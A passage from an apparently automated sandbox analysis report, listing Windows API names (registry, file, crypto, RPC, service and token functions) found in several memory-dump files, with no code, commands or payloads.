00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "IsTextUnicode"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountNameW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "ReportEventW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RegisterEventSourceW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetUserNameW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "DeregisterEventSource"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CoGetClassObject"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultLCID"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "CLSIDFromString"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongPtrA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetParent"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "PostQuitMessage"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "KillTimer"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongPtrA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "EnumThreadWindows"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetClassInfoA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "TranslateMessage"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "CreateWindowExA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "DefWindowProcA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "RegisterClassA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "SetTimer"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetClassNameA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "PostMessageA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "IsWindowVisible"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjectsEx"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingA"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "MoveFile"; Source: "00000000-00006996.00000000.69007.0C860000.00000002.mdmp, 00000000-00006996.00000000.69007.4B2E0000.00000004.mdmp") Found reference to API (Indicator: "CopyFile"; Source: "00000000-00006996.00000000.69007.4B2E0000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "EventWrite"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "InstallELAMCertificateInfo"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "WSACleanup"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "BCryptGetProperty"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "BCryptDestroyHash"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "BCryptCreateHash"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "BCryptFinishHash"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "BCryptHashData"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "BCryptGenRandom"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CryptDestroyHash"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CryptCreateHash"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CryptGetHashParam"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CryptHashData"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CryptReleaseContext"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CryptAcquireContextW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CryptGenRandom"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "SHGetFolderPathW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminCalcHashFromFileHandle"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminAcquireContext"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminEnumCatalogFromHash"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminReleaseContext"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFromStringBindingW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetAuthInfoExW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetOption"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFree"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RpcSmDestroyClientContext"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RpcStringFreeW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RpcStringBindingComposeW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "UnregisterWaitEx"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RegisterWaitForSingleObject"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "SwitchToThread"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "FlushViewOfFile"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "DeleteTimerQueueTimer"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CompareFileTime"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "OpenServiceW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceStatus"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceConfigW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountSidW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetLengthSid"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CopySid"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "ConvertStringSidToSidW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "OpenThreadToken"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found 